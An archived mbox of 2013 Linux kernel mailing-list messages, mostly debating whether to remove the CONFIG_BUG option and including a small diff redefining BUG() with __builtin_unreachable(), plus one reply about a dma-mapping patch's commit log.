Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7086 gmane.linux.ports.sh.devel:23164 gmane.linux.kernel.cross-arch:18002 gmane.linux.uml.devel:13918 gmane.linux.uml.user:14474 gmane.linux.ports.arm.kernel:238459 gmane.linux.ports.parisc:5055 gmane.linux.kernel:1495581 gmane.linux.ports.hexagon:579 gmane.linux.ports.ppc64.devel:90981
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7086>

On Thu, May 23, 2013 at 10:40:29AM +0200, Geert Uytterhoeven wrote:
> On Thu, May 23, 2013 at 9:57 AM, Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org> wrote:
> > -config BUG
> > -       bool "BUG() support" if EXPERT
> > -       default y
> > -       help
> > -          Disabling this option eliminates support for BUG and WARN, reducing
> > -          the size of your kernel image and potentially quietly ignoring
> > -          numerous fatal conditions. You should only consider disabling this
> > -          option for embedded systems with no facilities for reporting errors.
> > -          Just say Y.
> 
> ... It's about reducing memory size on devices where you can't show bug or
> warning messages.

And turning off CONFIG_BUG causes lots of warning messages at compile time
about functions which are returning nothing which shouldn't.

The problem is: trying to fix that _will_ mean the result is a larger
kernel than if you just do the usual arch-implemented thing of placing
an defined faulting instruction at the BUG() site - which defeats the
purpose of turning off CONFIG_BUG.

Therefore, it's better that CONFIG_BUG always be y and we stop kidding
ourselves that it's possible to turn this off and safely save space.

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Thu, 23 May 2013 11:12:56 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
References: <519DCBEF.3090208@asianux.com>
 <CAMuHMdU7QuzgmWCH145p8PVebBzPo8DBAvbY+0AZa2cmGXmRHw@mail.gmail.com>
 <20130523090534.GJ18614@n2100.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369300414 6093 80.91.229.3 (23 May 2013 09:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 09:13:34 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>, Chen Gang <gang.chen@asianux.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hallyn@canonical.com>,
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu May 23 11:13:29 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfRaS-0004Wv-OH
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 23 May 2013 11:13:29 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 7D9E12C04BF
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 23 May 2013 19:13:27 +1000 (EST)
Original-Received: from mail-pb0-x22f.google.com (mail-pb0-x22f.google.com
 [IPv6:2607:f8b0:400e:c01::22f])
 (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits))
 (Client CN "smtp.gmail.com", Issuer "Google Internet Authority" (not verified))
 by ozlabs.org (Postfix) with ESMTPS id 91B9D2C03BB
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 19:12:58 +1000 (EST)
Original-Received: by mail-pb0-f47.google.com with SMTP id rr4so2658775pbb.20
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 02:12:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=mime-version:sender:in-reply-to:references:date
 :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
 bh=32Qf0PNxnh03Ogo3BClMzpPI+UdxMGr7LJ0Xwcp2ffY=;
 b=yC/xJW18UsXP7Tuj3CN75mlV/fyzwMd05t7Yi1lFRk/JWi1sltLXH1bU8z9+H4d+M0
 T0icqqrbc7pOKN2UscEz/XGsYL5/w8C7WgpUNzXKCFkHs/GE+Wk5Kx9OFXkA9ZwrtwRf
 vVCigtJ/v3x+oKjq/hds6cwT/faL1Tj7kj+E3f+LVDGH2vE96zGRSMHGlV/gyHa20e40
 +Iav+spKDGe6LZCwElGfLq41xMsvmXCK9p4QaZv5LQMIKlK5qHiF0hz99oquoUC54DKt
 rxvNv58OGbeoWu0q9K/nJ7ZTVAFxB6zw/bLIHDqV/MTZNP0hLq84/ADVZKkojINas7AM
 slkA==
X-Received: by 10.68.192.1 with SMTP id hc1mr11785340pbc.45.1369300376189;
 Thu, 23 May 2013 02:12:56 -0700 (PDT)
Original-Received: by 10.70.5.129 with HTTP; Thu, 23 May 2013 02:12:56 -0700 (PDT)
In-Reply-To: <20130523090534.GJ18614@n2100.arm.linux.org.uk>
X-Google-Sender-Auth: RS8xz52L9IKyo7rsW5Lj5NLvejk
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59493 gmane.linux.ports.sh.devel:23165 gmane.linux.kernel.cross-arch:18003 gmane.linux.uml.devel:13919 gmane.linux.uml.user:14475 gmane.linux.hardware.blackfin.kernel.devel:7087 gmane.linux.ports.arm.kernel:238460 gmane.linux.ports.parisc:5056 gmane.linux.kernel:1495582 gmane.linux.ports.hexagon:580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59493>

On Thu, May 23, 2013 at 11:05 AM, Russell King - ARM Linux
<linux@arm.linux.org.uk> wrote:
> On Thu, May 23, 2013 at 10:40:29AM +0200, Geert Uytterhoeven wrote:
>> On Thu, May 23, 2013 at 9:57 AM, Chen Gang <gang.chen@asianux.com> wrote:
>> > -config BUG
>> > -       bool "BUG() support" if EXPERT
>> > -       default y
>> > -       help
>> > -          Disabling this option eliminates support for BUG and WARN, reducing
>> > -          the size of your kernel image and potentially quietly ignoring
>> > -          numerous fatal conditions. You should only consider disabling this
>> > -          option for embedded systems with no facilities for reporting errors.
>> > -          Just say Y.
>>
>> ... It's about reducing memory size on devices where you can't show bug or
>> warning messages.
>
> And turning off CONFIG_BUG causes lots of warning messages at compile time
> about functions which are returning nothing which shouldn't.
>
> The problem is: trying to fix that _will_ mean the result is a larger
> kernel than if you just do the usual arch-implemented thing of placing
> an defined faulting instruction at the BUG() site - which defeats the
> purpose of turning off CONFIG_BUG.

Is __builtin_unreachable() working well these days?

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Thu, 23 May 2013 11:39:37 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <201305231139.38233.arnd@arndb.de>
References: <519DCBEF.3090208@asianux.com>
 <20130523090534.GJ18614@n2100.arm.linux.org.uk>
 <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369302157 25151 80.91.229.3 (23 May 2013 09:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 09:42:37 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Chen Gang <gang.chen@asianux.com>, Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?utf-8?q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu May 23 11:42:33 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1UfS2a-0001eW-QZ
	for linux-arm-kernel@m.gmane.org; Thu, 23 May 2013 11:42:32 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfS1v-0002zE-Cv; Thu, 23 May 2013 09:41:51 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfS1a-0006a1-S2; Thu, 23 May 2013 09:41:30 +0000
Original-Received: from moutng.kundenserver.de ([212.227.17.10])
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1UfS1W-0006ZV-8U
 for linux-arm-kernel@lists.infradead.org; Thu, 23 May 2013 09:41:29 +0000
Original-Received: from klappe2.localnet
 (HSI-KBW-095-208-002-043.hsi5.kabel-badenwuerttemberg.de [95.208.2.43])
 by mrelayeu.kundenserver.de (node=mrbap3) with ESMTP (Nemesis)
 id 0Lzrl5-1USIap3qHT-0154WL; Thu, 23 May 2013 11:39:46 +0200
User-Agent: KMail/1.12.2 (Linux/3.8.0-22-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
X-Provags-ID: V02:K0:ho9TYrm8u8JbtqwnBV26oS5MTtijS7CUKl1bPqdn2F3
 qZ335NlSdvMbcNS27UutQ9K+wBw4JBRNy6YfpkKz2UOfLHl74Q
 zpgd//bGUu6SvJC//fWI+ABbx4c2ilNPy7E91xAk12mGC55RE6
 Yy8n4V8TlWdp31+4Zdz+o+gPd2wsdCN2scI1BtNBNUTUQT63d8
 qmB2DwOtvqObGV+5GPlIvQVpfT8GTmTsStPyjOUFS+PVVkHAby
 /i4owYhYKDA+/Cvh+WqSkP+veoLT1qQe2ZR8FhYWDJKhaGrRaT
 A4quClW/AZqYGK+Wt9o0DT/IB09qZRYgo2vOLybCgQwByhDTT3
 D9guKv811QCWLsxWBkRc=
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130523_054126_507796_BA394B58 
X-CRM114-Status: GOOD (  20.40  )
X-Spam-Score: -1.9 (-)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-1.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [212.227.17.10 listed in list.dnswl.org]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:238469 gmane.linux.ports.sh.devel:23166 gmane.linux.kernel.cross-arch:18005 gmane.linux.uml.devel:13920 gmane.linux.uml.user:14476 gmane.linux.hardware.blackfin.kernel.devel:7088 gmane.linux.ports.parisc:5057 gmane.linux.kernel:1495600 gmane.linux.ports.hexagon:581 gmane.linux.ports.ppc64.devel:90983
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/238469>

On Thursday 23 May 2013, Geert Uytterhoeven wrote:
> > The problem is: trying to fix that will mean the result is a larger
> > kernel than if you just do the usual arch-implemented thing of placing
> > an defined faulting instruction at the BUG() site - which defeats the
> > purpose of turning off CONFIG_BUG.
> 
> Is __builtin_unreachable() working well these days?
> 

Hmm, I just tried the trivial patch below, which seemed to do the right thing.
Needs a little more investigation, but that might actually be the correct
solution. I thought that at some point __builtin_unreachable() was the same
as "do {} while (1)", but this is not the case with the gcc I was using --
it just tells gcc that we don't expect to ever get here.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>

diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
index 7d10f96..9afff7d 100644
--- a/include/asm-generic/bug.h
+++ b/include/asm-generic/bug.h
@@ -108,11 +108,11 @@ extern void warn_slowpath_null(const char *file, const int line);
 
 #else /* !CONFIG_BUG */
 #ifndef HAVE_ARCH_BUG
-#define BUG() do {} while(0)
+#define BUG() __builtin_unreachable ()
 #endif
 
 #ifndef HAVE_ARCH_BUG_ON
-#define BUG_ON(condition) do { if (condition) ; } while(0)
+#define BUG_ON(condition) do { if (condition) __builtin_unreachable(); } while(0)
 #endif
 
 #ifndef HAVE_ARCH_WARN_ON

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 0/4] dma-mapping: Define dma_{alloc,free}_attrs()
 for all archs
Date: Thu, 23 May 2013 10:47:09 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20130523094709.GB16722@arm.com>
References: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp>
 <519C2F5D.8000809@igel.co.jp>
 <20130522094741.GE14322@arm.com>
 <519D8331.3060203@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369302475 28622 80.91.229.3 (23 May 2013 09:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 09:47:55 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Will Deacon <Will.Deacon@arm.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"msalter@redhat.com" <msalter@redhat.com>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 23 11:47:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UfS7m-0004UO-2y
	for glpp-linux-parisc@plane.gmane.org; Thu, 23 May 2013 11:47:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757999Ab3EWJrx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 May 2013 05:47:53 -0400
Original-Received: from fw-tnat.cambridge.arm.com ([217.140.96.21]:48757 "EHLO
	cam-smtp0.cambridge.arm.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1757890Ab3EWJrw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 May 2013 05:47:52 -0400
Original-Received: from arm.com (e102109-lin.cambridge.arm.com [10.1.203.38])
	by cam-smtp0.cambridge.arm.com (8.13.8/8.13.8) with ESMTP id r4N9lHZf017635;
	Thu, 23 May 2013 10:47:17 +0100
Content-Disposition: inline
In-Reply-To: <519D8331.3060203@igel.co.jp>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5058 gmane.linux.kernel:1495603 gmane.linux.ports.arm.kernel:238475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5058>

On Thu, May 23, 2013 at 03:47:13AM +0100, Damian Hobson-Garcia wrote:
> Hi Catalin,
> On 2013/05/22 18:47, Catalin Marinas wrote:
> > On Wed, May 22, 2013 at 03:37:17AM +0100, Damian Hobson-Garcia wrote:
> >> Hello,
> >> On 2013/04/30 12:01, Damian Hobson-Garcia wrote:
> >>> Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
> >>> both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
> >>> not define CONFIG_HAVE_DMA also have both of these definitions provided by
> >>> dma-mapping-broken.h.
> > 
> > BTW, shouldn't this be called CONFIG_HAVE_DMA_ATTRS?
> 
> CONFIG_HAVE_DMA_ATTRS is currently used to enable the functions to
> set/get the DMA attribute values. Poking through the headers, it looks
> like the struct dma_attrs is defined regardless of the
> CONFIG_HAVE_DMA_ATTRS setting, so in that respect
> we always seem to "have" DMA attributes (if we have DMA), but they may
> not always be meaningful (ie. set to some value).

My point was about the commit log - grep'ing the kernel for
CONFIG_HAVE_DMA did not return anything.

-- 
Catalin
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Thu, 23 May 2013 18:05:10 +0800
Lines: 94
Approved: news@gmane.org
Message-ID: <519DE9D6.8000707@asianux.com>
References: <519DCBEF.3090208@asianux.com>
 <CAMuHMdU7QuzgmWCH145p8PVebBzPo8DBAvbY+0AZa2cmGXmRHw@mail.gmail.com>
 <20130523090534.GJ18614@n2100.arm.linux.org.uk>
 <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------060108040408020204060404"
X-Trace: ger.gmane.org 1369303608 8332 80.91.229.3 (23 May 2013 10:06:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 10:06:48 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?B?SMOldmFy?= =?UTF-8?B?ZCBTa2lubmVtb2Vu?= <hskinnemoen@gmail.com>,
 Serge Hally
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu May 23 12:06:42 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfSPw-000631-58
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 23 May 2013 12:06:40 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id BCC112C03AE
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 23 May 2013 20:06:38 +1000 (EST)
Original-Received: from intranet.asianux.com (intranet.asianux.com [58.214.24.6])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id 433A02C008A
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 20:06:14 +1000 (EST)
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
 id BFFEC18402C3; Thu, 23 May 2013 18:06:01 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
 RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by intranet.asianux.com (Postfix) with ESMTP id 1135D1840251;
 Thu, 23 May 2013 18:06:00 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59495 gmane.linux.ports.sh.devel:23167 gmane.linux.kernel.cross-arch:18006 gmane.linux.uml.devel:13921 gmane.linux.uml.user:14477 gmane.linux.hardware.blackfin.kernel.devel:7089 gmane.linux.ports.arm.kernel:238485 gmane.linux.ports.parisc:5059 gmane.linux.kernel:1495610 gmane.linux.ports.hexagon:582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59495>

This is a multi-part message in MIME format.
--------------060108040408020204060404
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

On 05/23/2013 05:12 PM, Geert Uytterhoeven wrote:
> On Thu, May 23, 2013 at 11:05 AM, Russell King - ARM Linux
> <linux@arm.linux.org.uk> wrote:
>> > On Thu, May 23, 2013 at 10:40:29AM +0200, Geert Uytterhoeven wrote:
>>> >> On Thu, May 23, 2013 at 9:57 AM, Chen Gang <gang.chen@asianux.com> wrote:
>>>> >> > -config BUG
>>>> >> > -       bool "BUG() support" if EXPERT
>>>> >> > -       default y
>>>> >> > -       help
>>>> >> > -          Disabling this option eliminates support for BUG and WARN, reducing
>>>> >> > -          the size of your kernel image and potentially quietly ignoring
>>>> >> > -          numerous fatal conditions. You should only consider disabling this
>>>> >> > -          option for embedded systems with no facilities for reporting errors.
>>>> >> > -          Just say Y.
>>> >>
>>> >> ... It's about reducing memory size on devices where you can't show bug or
>>> >> warning messages.
>> >
>> > And turning off CONFIG_BUG causes lots of warning messages at compile time
